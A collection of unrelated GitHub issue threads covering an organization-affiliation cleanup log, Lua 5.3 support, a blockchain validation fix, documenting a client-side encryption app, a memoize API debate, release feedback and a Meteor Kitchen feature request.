5231 archived enrollments, Deleted organization 'D2iQ, Inc.' (id=74181), Updated organization 'Devops Ltd.' -> 'Devops Ltd. (ProdOps)' on 3 enrollments, Deleted organization 'Devops Ltd.' (id=74442), Updated organization 'Electronic' -> 'Electronic Arts Inc.' on 57 enrollments, Updated organization 'Electronic' -> 'Electronic Arts Inc.' on 59 archived enrollments, Deleted organization 'Electronic' (id=29565), Updated organization 'Embark Studios' -> 'Embark Studios AB' on 1 enrollments, Updated organization 'Embark Studios' -> 'Embark Studios AB' on 2 archived enrollments, Deleted organization 'Embark Studios' (id=71471), Updated organization 'Telefonaktiebolaget LM Ericsson' -> 'Ericsson' on 1 enrollments, Deleted organization 'Telefonaktiebolaget LM Ericsson' (id=73952), Updated organization 'Flipkart' -> 'Flipkart Internet Private Limited' on 74 enrollments, Updated organization 'Flipkart' -> 'Flipkart Internet Private Limited' on 344 archived enrollments, Deleted organization 'Flipkart' (id=26396), Updated organization 'Deutsche Niederlassung der FRIDAY Insurance S.A.' -> 'FRIDAY Insurance SA' on 13 enrollments, Deleted organization 'Deutsche Niederlassung der FRIDAY Insurance S.A.' (id=56814), Updated organization 'Sentry.io' -> 'Functional Software, Inc. (Sentry)' on 1 enrollments, Deleted organization 'Sentry.io' (id=69843), Added organization 'GE Digital Holdings LLC' (id=78066), Updated organization 'GE Digital' -> 'GE Digital Holdings LLC' on 65 enrollments, Updated organization 'GE Digital' -> 'GE Digital Holdings LLC' on 148 archived enrollments, Deleted organization 'GE Digital' (id=32891), Updated organization 'GE Oil & Gas' -> 'General Electric Company' on 7 enrollments, Updated organization 'GE Oil & Gas' -> 'General Electric Company' on 1 archived enrollments, Deleted organization 'GE Oil & Gas' (id=43983), Updated organization 'GE' -> 'General Electric Company' on 427 enrollments, Updated organization 'GE' -> 'General Electric Company' on 62 archived enrollments, Deleted organization 'GE' (id=27823), Deleted organization 'Harman/Becker Automotive Systems GmbH' (id=75365), Updated organization 'Hewlett Packard Enterprise' -> 'Hewlett Packard Enterprise Development LP' on 847 enrollments, Updated organization 'Hewlett Packard Enterprise' -> 'Hewlett Packard Enterprise Development LP' on 3796 archived enrollments, Deleted organization 'Hewlett Packard Enterprise' (id=38349), Updated organization 'ScaleArc' -> 'Ignite Enterprise Software Solutions, Inc.' on 8 enrollments, Updated organization 'ScaleArc' -> 'Ignite Enterprise Software Solutions, Inc.' on 1 archived enrollments, Deleted organization 'ScaleArc' (id=40647), Updated organization 'IMC Pacific' -> 'IMC Pacific Pty Ltd' on 7 enrollments, Updated organization 'IMC Pacific' -> 'IMC Pacific Pty Ltd' on 2 archived enrollments, Deleted organization 'IMC Pacific' (id=61433), Deleted organization 'Infront' (id=74253), Updated organization 'JD.com Inc.' -> 'JD.com, Inc.' on 15 enrollments, Updated organization 'JD.com Inc.' -> 'JD.com, Inc.' on 13 archived enrollments, Deleted organization 'JD.com Inc.' (id=59304), Deleted organization 'Kontron S&T' (id=75373), Added organization 'Labn Consulting' (id=78067), Deleted organization 'LabN' (id=75908), Deleted organization 'LAIKA LLC' (id=75375), Updated organization 'Legrand' -> 'Legrand North America' on 8 enrollments, Deleted organization 'Legrand' (id=47313), Updated organization 'Luxoft for UBS' -> 'Luxoft Global Operations GmbH' on 12 enrollments, Deleted organization 'Luxoft for UBS' (id=33737), Updated organization 'Aquantia' -> 'Marvell International Ltd' on 52 enrollments, Updated organization 'Aquantia' -> 'Marvell International Ltd' on 20 archived enrollments, Deleted organization 'Aquantia' (id=26707), Updated organization 'Marvell Semiconductor' -> 'Marvell International Ltd' on 657 enrollments, Updated organization 'Marvell Semiconductor' -> 'Marvell International Ltd' on 68 archived enrollments, Deleted organization 'Marvell Semiconductor' (id=27786), Updated organization 'MayaData Inc.' -> 'MayaData Inc. (f/k/a CloudByte, Inc)' on 1 enrollments, Updated organization 'MayaData Inc.' -> 'MayaData Inc. (f/k/a CloudByte, Inc)' on 26 archived enrollments, Deleted organization 'MayaData Inc.' (id=74221), Updated organization 'Mercedes-Benz' -> 'Mercedes-Benz AG' on 57 enrollments, Updated organization 'Mercedes-Benz' -> 'Mercedes-Benz AG' on 346 archived enrollments, Deleted organization 'Mercedes-Benz' (id=33388), Deleted organization 'Metamarkets Group Inc' (id=75382), Updated organization 'MongoDB' -> 'monday.com Limited' on 132 enrollments, Updated organization 'MongoDB' -> 'monday.com Limited' on 176 archived enrollments, Deleted organization 'MongoDB' (id=33481), Updated organization 'Naver' -> 'Naver Corporation' on 118 enrollments, Updated organization 'Naver' -> 'Naver Corporation' on 126 archived enrollments, Deleted organization 'Naver' (id=26595), Updated organization 'Altemista' -> 'NTT DATA EMEA Ltd.' on 14 enrollments, Deleted organization 'Altemista' (id=32327), Updated organization 'OctoPerf ' -> 'Oblivion Cloud Control Pvt Ltd' on 10 enrollments, Deleted organization 'OctoPerf ' (id=47115), Updated organization 'jQuery UI' -> 'OpenJS Foundation' on 20 enrollments, Updated organization 'jQuery UI' -> 'OpenJS Foundation' on 1320 archived enrollments, Deleted organization 'jQuery UI' (id=46338), Updated organization 'Responsys' -> 'Oracle America Inc.' on 11 enrollments, Deleted organization 'Responsys' (id=33370), Updated organization 'Oracle India' -> 'Oracle India Pvt. Ltd.' on 2 enrollments, Deleted organization 'Oracle India' (id=72449), Deleted organization 'Overclock Labs, Inc' (id=74625), Updated organization 'OVH Cloud' -> 'OVH SAS' on 10 enrollments, Updated organization 'OVH Cloud' -> 'OVH SAS' on 25 archived enrollments, Deleted organization 'OVH Cloud' (id=41349), Updated organization 'Palm' -> 'Palm Ventures Group, Inc.' on 15 enrollments, Updated organization 'Palm' -> 'Palm Ventures Group, Inc.' on 1425 archived enrollments, Deleted organization 'Palm' (id=55022), Added organization 'Plainsight' (id=78068), Updated organization 'Sixgill, LLC' -> 'Plainsight' on 8 enrollments, Deleted organization 'Sixgill, LLC' (id=57292), Updated organization 'Grafana Labs' -> 'Raintank, Inc. (Grafana Labs)' on 469 enrollments, Updated organization 'Grafana Labs' -> 'Raintank, Inc. (Grafana Labs)' on 2455 archived enrollments, Deleted organization 'Grafana Labs' (id=28654), Updated organization 'Redspread' -> 'Red Hat, Inc.' on 24 enrollments, Updated organization 'Redspread' -> 'Red Hat, Inc.' on 4 archived enrollments, Deleted organization 'Redspread' (id=28976), Updated organization 'SAP Hybris' -> 'SAP' on 5 enrollments, Updated organization 'SAP Hybris' -> 'SAP' on 5 archived enrollments, Deleted organization 'SAP Hybris' (id=51642), Deleted organization 'SAP America Inc' (id=75407), Updated organization 'Sky.' -> 'Sky UK Limited' on 1 enrollments, Updated organization 'Sky.' -> 'Sky UK Limited' on 6 archived enrollments, Deleted organization 'Sky.' (id=70362), Added organization 'Smartsheet, Inc.' (id=78069), Updated organization 'Smartsheet.com' -> 'Smartsheet, Inc.' on 33 enrollments, Updated organization 'Smartsheet.com' -> 'Smartsheet, Inc.' on 68 archived enrollments, Deleted organization 'Smartsheet.com' (id=52531), Updated organization 'Stream' -> 'Stream.IO, Inc' on 20 enrollments, Updated organization 'Stream' -> 'Stream.IO, Inc' on 76 archived enrollments, Deleted organization 'Stream' (id=35280), Updated organization 'Tableau' -> 'TABLEAU SOFTWARE, LLC' on 44 enrollments, Deleted organization 'Tableau' (id=28414), Deleted organization 'SolaryCity' (id=75412), Updated organization 'Tieto Czech s.r.o' -> 'TietoEVRY' on 30 enrollments, Updated organization 'Tieto Czech s.r.o' -> 'TietoEVRY' on 201 archived enrollments, Deleted organization 'Tieto Czech s.r.o' (id=39870), Deleted organization 'Works Applications Co. Ltd' (id=75444), Updated organization 'Yuneec USA, Inc.' -> 'Yuneec, Advanced Technology Labs AG' on 6 enrollments, Updated organization 'Yuneec USA, Inc.' -> 'Yuneec, Advanced Technology Labs AG' on 8 archived enrollments, Deleted organization 'Yuneec USA, Inc.' (id=57479), Updated organization 'ZoomInfo' -> 'ZoomInfo Technologies LLC' on 1 enrollments, Deleted organization 'ZoomInfo' (id=69707), Organizations: added:5 renamed:0 deleted:66 skipped:0, Enrollments: conflicts:15 archive conflicts:0 updated:28362"}

2nd run:
{"text":"Added organization 'Deutsche Niederlassung der FRIDAY Insurance S.A.' (id=78070), Deleted organization 'Deutsche Niederlassung der FRIDAY Insurance S.A.' (id=78070), Added organization 'JD.com Inc.' (id=78071), Deleted organization 'JD.com Inc.' (id=78071), Added organization 'Tieto Czech s.r.o' (id=78072), Deleted organization 'Tieto Czech s.r.o' (id=78072), Organizations: added:3 renamed:0 deleted:3 skipped:0, Enrollments: conflicts:0 archive conflicts:0 updated:0"}

So we have 3 circular orgs:

Deutsche Niederlassung der FRIDAY Insurance S.A.
JD.com Inc.
Tieto Czech s.r.o

cc @bumblebee89

@lukaszgryglicki  thanks. Corrections for test in this PR
and a PR on prod with changes https://github.com/LF-Engineering/dev-analytics-affiliation/pull/107

On it.


能不能支持下 lua5.3

同问

you can use this one:
https://github.com/memoryoff/protoc-gen-lua-bin-fix
support both lua5.1 and lua5.3，thanks to this guy


Wrong function isChainValid()

Hey Savjee, I reworked this function because the first block of the chain is not checked.
With this function change, you can do this by checking the first block.

isChainValid() {
    for(let i=0; i<this.chain.length; i++){

        if(this.chain[i].hash !== this.chain[i].calculateHash())
            return false;

        if(i > 0 && this.chain[i].previousHash !== this.chain[i-1].hash)
            return false;
    }

    return true;
}

With kind regards
CrafterGamer

Hi!
Thanks for your suggestion. Could you open a pull request so I can merge this in?

GitHub says i have not access to open a pull request

I have make a pull request

Do you not have to change row of order for the genesis hash and the nonce init....since your first validate hash operation will turn out false since genesis hash is calculated with out nonce=0 ?

@mikkelgroth Not sure I understand your concern... Can you rephrase?

When you run your validate routine .calculateHash() on the genesis block, the hash comes out false because the validate function uses the hash function that includes nonce, but under the creation of the genesis you hash first before you in next line add nonce=0....so genesis.calculateHash is not equal to genesis.hash (I think...since I got that error before I changed the order of the two lines of code, but granted, that I have rearranged a lot of your code in making a small html/js demo)

Just for your info...this is my derived work (and please have in mind that I am a sparetime coder morron ;-)
My blockchainHTMLdemo.html file:

Blockchain demo

Open this in a new Chrome or Firefox browser
Press Ctrl+Shift+i to open a console log window in the development tool box in Chrome or Firefox do not use IE
Having the console log is important, to see activity, since the page does not load until the script is done running
Sellect Difficulty, this means how many leading zeros does there have to be in a valid mined hash
Sellect Transactions, this is how many blocks should be mined in the simulation

<select id="dif">
    <option value="3">Difficulty 3</option>
    <option value="4">Difficulty 4</option>
    <option value="5">Difficulty 5</option>
    <option value="6">Difficulty 6</option>
</select>
<select id="trans">
    <option value="3">3 Transactions</option>
    <option value="5">5 Transactions</option>
    <option value="10">10 Transactions</option>
    <option value="20">20 Transactions</option>
    <option value="40">40 Transactions</option>
    <option value="100">100 Transactions</option>
</select>

<input id="startDemo" type="button" value="Start demo" onclick="startDemo(document.getElementById('dif').value, document.getElementById('trans').value)"/>
<input id="clearDemo" type="button" value="Clear screen" onclick="overide()" />

Descriptions

Each transaction is moving a random amount (1-50) from one of 5 accounts to another (1001-1005)

Minning: Each transaction is hashed and the content including previous hash is mathematical crushed in to a hex number

A number called Nonce is initiated to 1 and incremented by one until the hash have the desired leading zeros, trial and error method

So basically, the Nonce represents how many times the hashing mecanism had to run until the block was succesfully mined

* Thanks to Savjee for basic js code from https://github.com/SavjeeTutorials/SavjeeCoin/

@mikkelgroth This is an interesting idea to build a simple front-end for it! Do you mind if I adapt your code a bit and maybe include it in the repository?

Ohhh please do...looking forward to see your changes....maybe have the frontend reflect what is going on in runtime in stead of having to wait for a completed run....
-Mikkel

@mikkelgroth Thanks! Already started on a simple implementation in Angular. Here is a sneak peek:
https://savjee.github.io/savjeecoin-frontend/


Need to document the tech architecture (so far)

The app is currently (at time of this writing) a proof-of-concept for the registration/login/encryption portion of this app, involving Argon2 (WASM build) password hashing and AES-GCM 256-bit symmetric encryption/decryption. Data is persisted only in the client, using indexDB, while sessionStorage is used for tracking the login session (including storing temporarily the encryption/decryption key).
There's some nuances around needing graceful handling if the cryptography settings of the app are changed later and that ends up needing to upgrade someone's existing account, transparently and without data loss. That part was slightly tricky to get correct and robust.
Need to document more fully how the current JS code (split into several files, including a web worker) is architected, so THAT part of the behavior isn't lost when the code is worked on more significantly by other contributors. Also need to document the parts of the static file server that are important, given they are sending out some very specific and important security headers for different types of responses.
All the JS code that handles UI stuff is fine to re-org or throw away, that's all toy POC stuff. But the cryptography/security stuff is important to not be messed with.

I would like work on this 😊 @getify if you are okay, I will start to document the actual flow and then we will evolve the structure

@gioboa ok, sure, take a pass at it. I imagine I'll be able to fill in some details/clarifications.

Do you have any favourite tool for this kind of documentation?

I was just going to write out the details in markdown, and augment with a few diagrams that I would typically draw in an SVG/vector program. But I am certainly open to any other contributions/ideas on how best to proceed.
FWIW, I think there is a fair amount of specific technical detail, such as the algorithms and parameters for the hashing and encryption, that I want to write down, and that stuff may not be very useful in visual diagrams. But visuals are certainly helpful in the documentation effort. :)

@getify @gioboa can I also chip in on this ?
Would like to be part of this whole project as well. I can start with this issue as well

Right now I'd suggest we focus to one draft which I (as the primary coder so far) can provide the best info on, to get documented what we have so far. @gioboa you already volunteered to get that draft so please keep doing so.
For others wanting to contribute in this area, perhaps you can take over maintaining that for future tech documentation purposes as the app evolves from here.

Need to document more fully how the current JS code (split into several files, including a web worker) is architected, so THAT part of the behavior isn't lost when the code is worked on more significantly by other contributors.

I think this is a good case for unit / integration tests, unless you want to run through every single edge case scenario whenever anyone changes anything.


Don't add parameters after functions

While this reads fine:
const addOneListener = memoize(addListener, {
	cacheKey: arguments_ => arguments_,
	cache: new ManyKeysMap()
});

This is bad practice:
const addOneListener = memoize(() => {
	// some

	// inline

	// long

	// function

	// which

	// is not

	// uncommon
	return stuff
}), {
	cacheKey: arguments_ => arguments_,
	cache: new ManyKeysMap()
});

This could be enforced by a linter, since APIs like addEventListener(string, cb, options) exist natively, but ideally memoize and p-memoize should accept a single parameter:
function memoize(details: Callback | Options) {
	const {callback, ...options} = typeof details === 'function' ? {callback: details} : details;
}

It complicates types a bit but it requires the much cleaner:
const addOneListener = memoize({
	cacheKey: arguments_ => arguments_,
	cache: new ManyKeysMap(),
	callback: () => {
		// some

		// inline

		// long

		// function

		// which

		// is not

		// uncommon
		return stuff
	}),
});

Personal note: I went through this recently in webext-storage-cache, changing (fn, opts) => {} to (fnOrOpts) => {}

I don't see why the API has to change. Just not put the function inline.

but ideally memoize and p-memoize should accept a single parameter:

I disagree about that being ideal. I find that API quite weird. There are now two ways to do the same thing.

Should I open an issue on unicorn?

👍

I find that API quite weird. There are now two ways to do the same thing.

have you seen fetch 🙈
fetch('flowers.jpg', {method: 'POST'})

const myRequest = new Request("flowers.jpg", {method: 'POST'});
fetch(myRequest)

two ways to do the same thing.

I mean, that's pretty common, but I don’t think anyone would prefer mem({cb: () => {}}) over mem(() => {}) unless the API requires it (for good reasons, as shown here)

Maybe we can change signature to
memoize(options?, () => {})
?
options can't be a function anyway.

That sounds almost good but I think (options, callback) is not a common pattern

(Callback | Options) is not diff friendly
memoize({
-   cb() {
-     // .... indention level 2
-   },
-   cache: new ManyKeysMap,
})

memoize(() => {
+   // .... indention level 1
})

Inline functions are nice but they grow and people don't move them out.

They do when you tell them. :p

Inline functions are nice but they grow and people don't move them out.

They do when you tell them. :p

Sounds like a linter job, but that rule is complex and I think it's not in the recommended config, so it's easier to just avoid bad patterns at the root

(Callback | Options) is not diff friendly

Lots of things are not diff friendly, like Prettier, and yet… they're worth it.


PR feedback from 0.58.0 release

@lgolding
Please merge if acceptable. Also feel free to enlist in this branch and tweak according to your dictates. Your descriptions in the NUSPEC files will be superior to mine.

@michaelcfanning Looks pretty good. I made only a few changes -- see commit 9f4612c. Also, I just noticed that we're not building the develop branch in AppVeyor... I'll push that change, too, and then merge.


we added a secondary oracle and functionality to deposit asset + ctoken in same instruction

cc. @jordansexton

I think the idea with switchboard is for now just to have a backup because we did run in to some issues, but in the future we might want to have the ability for each reserve to specify an oracle if we plan on having some exotic assets, switchboard seemed really onboard with adding basically whatever we wanted so that flexibility seemed nice.


Allow collections and queries inside pages as components

Ops, this was probably in the wrong github project. I'll move it when I find the correct one ;)
I think it would be handy to allow collections and queries to be also written inside "page" sections. This would allow nice isolation of specific features of the application. E.g. having page "Customers" and all it's relevant data inside it's "own" structure. Maybe add some functionality into the GUI to move collections/queries around.
e.g.
				"name": "customers",
				"type": "page",
				"components": [
					{
                                                "name": "customers",
			                    "type": "collection",
			                    "fields": [
				               {
					         "name": "name",
				 	         "title": "Name",
					         "type": "string",
				 	         "exportable": true
				               }
			                   ]
					}

How does this sound?

Hi @ljack
Thank you for your suggestion.
Your approach gives good isolation and reusability (e.g. entire page or component can be copied and used in another app 1:1), but I just moved queries into top-level application object from forms/components (in previous version, 0.9.49) because it was painful to maintain all the things in bigger application.
About moving object inside GUI - as you can see, current GUI is primitive (and to be honest, I am using text editor :) ), but I plan to start brand new GUI project (this time useful). Interested to contribute?

I's just thinking that if you have collection/queries also down to pages-components one should also show those in the top level collections/queries with proper label ( e.g. pagename.queryname ). So you can write collection and queries both to top level and also down to inside pages-components.
I sure can try to contribute to the new GUI because I'm planning to build a massive application using Meteor and currently also Meteor Kitchen ;) I've already built part of the application using just some boilerplate which seems to have quite a lot of repetitive parts with lot of Meteor components (html/js) per application component  which I would like to "extrernalize"/parametrise using Kitchen for better maintainability.
Just a sidenote; select-multiple doesnt seem to have any examples / documentation how to use it ;)